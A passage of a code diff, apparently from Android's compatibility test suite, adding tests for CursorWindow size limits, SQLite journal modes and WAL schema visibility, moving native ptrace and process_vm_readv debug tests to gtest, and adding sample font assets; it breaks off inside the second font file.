+        assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.0);
+        assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.0);
         try {
             cursorWindow.getBlob(0, 3);
             fail("Can't get Blob from a Double value.");
@@ -279,6 +299,7 @@
         assertTrue(cursorWindow.isBlob(0, 4));
     }
 
+    @Test
     public void testCopyStringToBuffer() {
         int DEFAULT_ARRAY_LENGTH = 64;
         String baseString = "0123456789";
@@ -314,6 +335,7 @@
         assertEquals(expectedString.length(), charArrayBuffer.data.length);
     }
 
+    @Test
     public void testAccessStartPosition() {
         final int TEST_POSITION_1 = 0;
         final int TEST_POSITION_2 = 3;
@@ -343,6 +365,7 @@
         }
     }
 
+    @Test
     public void testClearAndOnAllReferencesReleased() {
         MockCursorWindow cursorWindow = new MockCursorWindow(true);
 
@@ -369,11 +392,43 @@
         assertTrue(cursorWindow.hasReleasedAllReferences());
     }
 
+    @Test
     public void testDescribeContents() {
         CursorWindow cursorWindow = new CursorWindow(true);
         assertEquals(0, cursorWindow.describeContents());
     }
 
+    @Test
+    public void testDefaultCursorWindowSize() {
+        CursorWindow cursorWindow = new CursorWindow("test");
+        cursorWindow.setNumColumns(1);
+        byte[] bytes = new byte[1024];
+        Arrays.fill(bytes, (byte) 1);
+        // Ensure that the default is not too small and it's possible to fill CursorWindow
+        // with ~2Mb of data
+        int testRowCount = 2016;
+        for (int i = 0; i < testRowCount; i++) {
+            assertTrue(cursorWindow.allocRow());
+            assertTrue("Allocation failed for row " + i, cursorWindow.putBlob(bytes, i, 0));
+        }
+        assertTrue(cursorWindow.allocRow());
+        assertFalse("Allocation should fail for row " + testRowCount,
+                cursorWindow.putBlob(bytes, testRowCount, 0));
+    }
+
+    @Test
+    public void testCustomSize() {
+        // Allocate CursorWindow with max size 10KB and test that restriction is enforced
+        CursorWindow cursorWindow = new CursorWindow("test", 10000);
+        cursorWindow.setNumColumns(1);
+        byte[] bytes = new byte[8000];
+        Arrays.fill(bytes, (byte) 1);
+        assertTrue(cursorWindow.allocRow());
+        assertTrue("Allocation of 1 row should succeed", cursorWindow.putBlob(bytes, 0, 0));
+        assertTrue(cursorWindow.allocRow());
+        assertFalse("Allocation of 2nd row should fail", cursorWindow.putBlob(bytes, 1, 0));
+    }
+
     private class MockCursorWindow extends CursorWindow {
         private boolean mHasReleasedAllReferences = false;
 
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
index a506de5..a11abf6 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
@@ -19,10 +19,13 @@
 
 import android.content.Context;
 import android.database.AbstractCursor;
+import android.database.AbstractWindowedCursor;
 import android.database.Cursor;
 import android.database.CursorWindow;
 import android.database.DataSetObserver;
+import android.database.SQLException;
 import android.database.StaleDataException;
+import android.database.sqlite.SQLiteBlobTooBigException;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteDirectCursorDriver;
@@ -210,6 +213,46 @@
         assertEquals(TEST_COUNT - TEST_ARG2, cursor.getCount());
     }
 
+    public void testRowTooBig() {
+        mDatabase.execSQL("CREATE TABLE Tst (Txt BLOB NOT NULL);");
+        byte[] testArr = new byte[10000];
+        Arrays.fill(testArr, (byte) 1);
+        for (int i = 0; i < 10; i++) {
+            mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{testArr});
+        }
+
+        // Now reduce window size, so that no rows can fit
+        Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+        CursorWindow cw = new CursorWindow("test", 5000);
+        AbstractWindowedCursor ac = (AbstractWindowedCursor) cursor;
+        ac.setWindow(cw);
+
+        try {
+            ac.moveToNext();
+            fail("Exception is expected when row exceeds CursorWindow size");
+        } catch (SQLiteBlobTooBigException expected) {
+        }
+    }
+
+    public void testFillWindowForwardOnly() {
+        mDatabase.execSQL("CREATE TABLE Tst (Num Integer NOT NULL);");
+        mDatabase.beginTransaction();
+        for (int i = 0; i < 100; i++) {
+            mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{i});
+        }
+        mDatabase.setTransactionSuccessful();
+        mDatabase.endTransaction();
+        Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+        SQLiteCursor ac = (SQLiteCursor) cursor;
+        CursorWindow window = new CursorWindow("test", 1000);
+        ac.setFillWindowForwardOnly(true);
+        ac.setWindow(window);
+        assertTrue(ac.moveToFirst());
+        // Now skip 70 rows and check that the window start position corresponds to row 70
+        ac.move(70);
+        assertEquals(70, window.getStartPosition());
+    }
+
     public void testOnMove() {
         // Do not test this API. It is callback which:
         // 1. The callback mechanism has been tested in super class
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 26f8794..56a815b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -33,6 +33,7 @@
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteDatabase.CursorFactory;
 import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
 import android.database.sqlite.SQLiteQuery;
 import android.database.sqlite.SQLiteStatement;
 import android.database.sqlite.SQLiteTransactionListener;
@@ -1390,6 +1391,16 @@
         assertFalse(mDatabase.isWriteAheadLoggingEnabled());
     }
 
+    public void testDisableWriteAheadLogging() {
+        assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+        mDatabase.disableWriteAheadLogging();
+        assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+        // Verify that default journal mode is set if WAL is disabled
+        String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+        assertTrue(DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+                .equalsIgnoreCase(defaultJournalMode));
+    }
+
     public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
         closeAndDeleteDatabase();
         mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
@@ -1584,4 +1595,64 @@
         } catch (IllegalArgumentException expected) {
         }
     }
+
+    public void testDefaultJournalModeNotWAL() {
+        String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+        assertFalse("Default journal mode should not be WAL",
+                DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+                        .equalsIgnoreCase(defaultJournalMode));
+    }
+
+    public void testCompatibilityWALIsDefaultWhenSupported() {
+        if (!SQLiteGlobal.isCompatibilityWalSupported()) {
+            Log.i(TAG, "Compatibility WAL not supported. "
+                    + "Skipping testCompatibilityWALIsDefaultWhenSupported");
+            return;
+        }
+
+        assertTrue("Journal mode should be WAL if compatibility WAL is supported",
+                DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+                        .equalsIgnoreCase("WAL"));
+    }
+
+    /**
+     * Test that app can specify journal mode/synchronous mode
+     */
+    public void testJournalModeSynchronousModeOverride() {
+        mDatabase.close();
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+
+        String journalMode = DatabaseUtils
+                .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+        assertEquals("DELETE", journalMode.toUpperCase());
+        String syncMode = DatabaseUtils
+                .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+        assertEquals("0", syncMode);
+    }
+
+    /**
+     * Test that enableWriteAheadLogging is not affected by app's journal mode/synchronous mode
+     * settings
+     */
+    public void testEnableWalOverridesJournalModeSynchronousMode() {
+        mDatabase.close();
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+        mDatabase.enableWriteAheadLogging();
+
+        String journalMode = DatabaseUtils
+                .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+        assertEquals("WAL", journalMode.toUpperCase());
+        String syncMode = DatabaseUtils
+                .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+        assertEquals("2" /* FULL */, syncMode);
+    }
+
 }
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 853f24b..20c9a0d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -18,6 +18,7 @@
 
 import android.app.ActivityManager;
 import android.content.Context;
+import android.database.Cursor;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteCursorDriver;
 import android.database.sqlite.SQLiteDatabase;
@@ -31,6 +32,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import java.io.File;
+import java.util.Arrays;
+
 import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
 import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
 
@@ -55,6 +59,7 @@
     @Override
     protected void tearDown() throws Exception {
         mOpenHelper.close();
+        SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
         super.tearDown();
     }
 
@@ -204,17 +209,73 @@
                 output.contains("Connection #0:"));
     }
 
+    public void testOpenParamsConstructor() {
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .build();
+
+        MockOpenHelper helper = new MockOpenHelper(mContext, null, 1, params);
+        SQLiteDatabase database = helper.getWritableDatabase();
+        assertNotNull(database);
+        helper.close();
+    }
+
+    /**
+     * Tests a scenario in WAL mode with multiple connections, when a connection should see schema
+     * changes made from another connection.
+     */
+    public void testWalSchemaChangeVisibilityOnUpgrade() {
+        File dbPath = mContext.getDatabasePath(TEST_DATABASE_NAME);
+        SQLiteDatabase.deleteDatabase(dbPath);
+        SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbPath, null);
+        db.execSQL("CREATE TABLE test_table (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+        db.setVersion(1);
+        db.close();
+        mOpenHelper = new MockOpenHelper(mContext, TEST_DATABASE_NAME, null, 2) {
+            {
+                setWriteAheadLoggingEnabled(true);
+            }
+
+            @Override
+            public void onCreate(SQLiteDatabase db) {
+            }
+
+            @Override
+            public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+                if (oldVersion == 1) {
+                    db.execSQL("ALTER TABLE test_table ADD column2 INT DEFAULT 1234");
+                    db.execSQL("CREATE TABLE test_table2 (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+                }
+            }
+        };
+        // Check if can see the new column
+        try (Cursor cursor = mOpenHelper.getReadableDatabase()
+                .rawQuery("select * from test_table", null)) {
+            assertEquals("Newly added column should be visible. Returned columns: " + Arrays
+                    .toString(cursor.getColumnNames()), 2, cursor.getColumnCount());
+        }
+        // Check if can see the new table
+        try (Cursor cursor = mOpenHelper.getReadableDatabase()
+                .rawQuery("select * from test_table2", null)) {
+            assertEquals(1, cursor.getColumnCount());
+        }
+    }
+
     private MockOpenHelper getOpenHelper() {
         return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
     }
 
-    private class MockOpenHelper extends SQLiteOpenHelper {
+    private static class MockOpenHelper extends SQLiteOpenHelper {
         private boolean mHasCalledOnOpen = false;
 
-        public MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
+        MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
             super(context, name, factory, version);
         }
 
+        MockOpenHelper(Context context, String name, int version,
+                SQLiteDatabase.OpenParams openParams) {
+            super(context, name, version, openParams);
+        }
+
         @Override
         public void onCreate(SQLiteDatabase db) {
         }
@@ -237,8 +298,8 @@
         }
     }
 
-    private class MockCursor extends SQLiteCursor {
-        public MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
+    private static class MockCursor extends SQLiteCursor {
+        MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
                 SQLiteQuery query) {
             super(db, driver, editTable, query);
         }
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index f1b9b27..c715d07 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -30,7 +30,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
 
 LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
 
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
index 4b3254a..091e778 100644
--- a/tests/tests/debug/AndroidManifest.xml
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -26,8 +26,6 @@
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.debug.cts"
                      android:label="CTS tests of native debugging API">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
index 80eb256..d3db70f 100644
--- a/tests/tests/debug/libdebugtest/Android.mk
+++ b/tests/tests/debug/libdebugtest/Android.mk
@@ -31,6 +31,7 @@
 	android_debug_cts.cpp
 
 LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
 
 LOCAL_SDK_VERSION := 23
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
index fb87a28..3aa4318 100644
--- a/tests/tests/debug/libdebugtest/android_debug_cts.cpp
+++ b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
@@ -15,6 +15,7 @@
  */
 
 #include <jni.h>
+#include <gtest/gtest.h>
 #include <android/log.h>
 
 #include <errno.h>
@@ -29,6 +30,7 @@
 
 #define LOG_TAG "Cts-DebugTest"
 
+// Used by child processes only
 #define assert_or_exit(x)                                                                         \
     do {                                                                                          \
         if(x) break;                                                                              \
@@ -36,29 +38,21 @@
                 errno, strerror(errno));                                                          \
         _exit(1);                                                                                 \
     } while (0)
-#define assert_or_return(x)                                                                       \
-    do {                                                                                          \
-        if(x) break;                                                                              \
-        __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
-                errno, strerror(errno));                                                          \
-        return false;                                                                             \
-    } while (0)
 
-static bool parent(pid_t child) {
+static void parent(pid_t child) {
     int status;
     int wpid = waitpid(child, &status, 0);
-    assert_or_return(wpid == child);
-    assert_or_return(WIFEXITED(status));
-    assert_or_return(WEXITSTATUS(status ) == 0);
-    return true;
+    ASSERT_EQ(child, wpid);
+    ASSERT_TRUE(WIFEXITED(status));
+    ASSERT_EQ(0, WEXITSTATUS(status));
 }
 
-static bool run_test(const std::function<void(pid_t)> &test) {
+static void run_test(const std::function<void(pid_t)> &test) {
     pid_t pid = fork();
-    assert_or_return(pid >= 0);
-    if (pid != 0)
-        return parent(pid);
-    else {
+    ASSERT_NE(-1, pid) << "fork() failed with " << strerror(errno);
+    if (pid != 0) {
+        parent(pid);
+    } else {
         // child
         test(getppid());
         _exit(0);
@@ -75,12 +69,10 @@
     assert_or_exit(ptrace(PTRACE_DETACH, parent, nullptr, nullptr) == 0);
 }
 
-// public static native boolean ptraceAttach();
-extern "C" jboolean Java_android_debug_cts_DebugTest_ptraceAttach(JNIEnv *, jclass) {
-    return run_test(ptraceAttach);
+TEST(DebugTest, ptraceAttach) {
+    run_test(ptraceAttach);
 }
 
-
 static void processVmReadv(pid_t parent, const std::vector<long *> &addresses) {
     long destination;
     iovec local = { &destination, sizeof destination };
@@ -99,11 +91,11 @@
 
 static long global_variable = 0x47474747;
 // public static native boolean processVmReadv();
-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadv(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadv) {
     long stack_variable = 0x42424242;
     // This runs the test with a selection of different kinds of addresses and
     // makes sure the child process (simulating a debugger) can read them.
-    return run_test([&](pid_t parent) {
+    run_test([&](pid_t parent) {
         processVmReadv(parent, std::vector<long *>{
                                    &global_variable, &stack_variable,
                                    reinterpret_cast<long *>(&processVmReadv)});
@@ -111,9 +103,9 @@
 }
 
 // public static native boolean processVmReadvNullptr();
-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadvNullptr(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadvNullptr) {
     // Make sure reading unallocated memory behaves reasonably.
-    return run_test([](pid_t parent) {
+    run_test([](pid_t parent) {
         long destination;
         iovec local = {&destination, sizeof destination};
         iovec remote = {nullptr, sizeof(long)};
diff --git a/tests/tests/debug/src/android/debug/cts/DebugTest.java b/tests/tests/debug/src/android/debug/cts/DebugTest.java
index ca55d9c..993f02b 100644
--- a/tests/tests/debug/src/android/debug/cts/DebugTest.java
+++ b/tests/tests/debug/src/android/debug/cts/DebugTest.java
@@ -16,26 +16,10 @@
 
 package android.debug.cts;
 
-import junit.framework.TestCase;
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
 
-public class DebugTest extends TestCase {
-
-    static {
-        System.loadLibrary("debugtest");
-    }
-
-    public static native boolean ptraceAttach();
-    public void test_ptraceAttach() {
-        assertEquals(true, ptraceAttach());
-    }
-
-    public static native boolean processVmReadv();
-    public void test_processVmReadv() {
-        assertEquals(true, processVmReadv());
-    }
-
-    public static native boolean processVmReadvNullptr();
-    public void test_processVmReadvNullptr() {
-        assertEquals(true, processVmReadvNullptr());
-    }
-}
+@RunWith(GtestRunner.class)
+@TargetLibrary("debugtest")
+public class DebugTest {}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
index 97518bd..fead807 100644
--- a/tests/tests/dynamic_linker/Android.mk
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -18,6 +18,7 @@
 LOCAL_MODULE := libdynamiclinker_native_lib_a
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_CFLAGS := -Wall -Werror
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 LOCAL_SDK_VERSION := 25
 LOCAL_NDK_STL_VARIANT := c++_static
@@ -28,6 +29,7 @@
 LOCAL_MODULE := libdynamiclinker_native_lib_b
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_CFLAGS := -Wall -Werror
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 LOCAL_SDK_VERSION := 25
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/graphics/assets/a3em.ttx b/tests/tests/graphics/assets/a3em.ttx
new file mode 100644
index 0000000..d3b9e16
--- /dev/null
+++ b/tests/tests/graphics/assets/a3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1em"/>
+    <GlyphID id="2" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="3em" />
+      <map code="0x0062" name="1em" />
+      <map code="0x0063" name="1em" />
+      <map code="0x0064" name="1em" />
+      <map code="0x0065" name="1em" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/b3em.ttx b/tests/tests/graphics/assets/b3em.ttx
new file mode 100644
index 0000000..b5a77ef
--- /dev/null
+++ b/tests/tests/graphics/assets/b3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1em"/>
+    <GlyphID id="2" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
